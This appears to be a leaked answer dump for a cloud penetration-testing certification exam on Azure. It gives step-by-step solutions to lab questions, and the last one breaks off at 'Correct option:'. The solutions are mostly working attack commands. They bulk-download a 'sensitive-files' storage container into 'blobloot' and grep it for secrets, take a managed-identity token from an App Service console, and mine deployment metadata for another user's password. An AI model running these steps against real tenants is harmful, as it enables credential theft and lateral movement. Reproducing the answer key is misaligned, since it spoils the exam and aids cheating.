Most Recent The SecOps Group CCPenX-Az Exam Dumps

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

'principalId': 'b72a4c19-92f6-47f3-b3dd-9db5a31831d1',

'tenantId': '8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a',

'type': 'SystemAssigned'

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token '$SAS' \

--query '[].name' \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token '$SAS'

Search the downloaded files for application credentials:

grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false

A typical file may look like this:

{

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',

'clientId': '',

'clientSecret': ''

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role 'User Access Administrator' \

--query '[].{Principal:principalName,Role:roleDefinitionName,Scope:scope}' \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

================

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity.

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df' \

-H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

For Windows PowerShell inside Kudu:

$uri = '$env:IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df'

$response = Invoke-RestMethod -Uri $uri -Headers @{

'X-IDENTITY-HEADER' = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = '7403ec86-c39d-4d80-9efa-35c7580ecefa'

$rg = 'Excalibur-Resources'

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

For each deployment name returned, inspect it:

$deploymentName = '<deployment-name>'

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Also check deployment operations:

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H 'Authorization: Bearer $TOKEN' \

'https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-version=2021-04-01' \

| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'

Final Answer:

Use the leaked secret/password value returned from the deployment metadat

a. Do not guess this; it is lab-generated.

================

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

The response contains:

{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }

Correct option: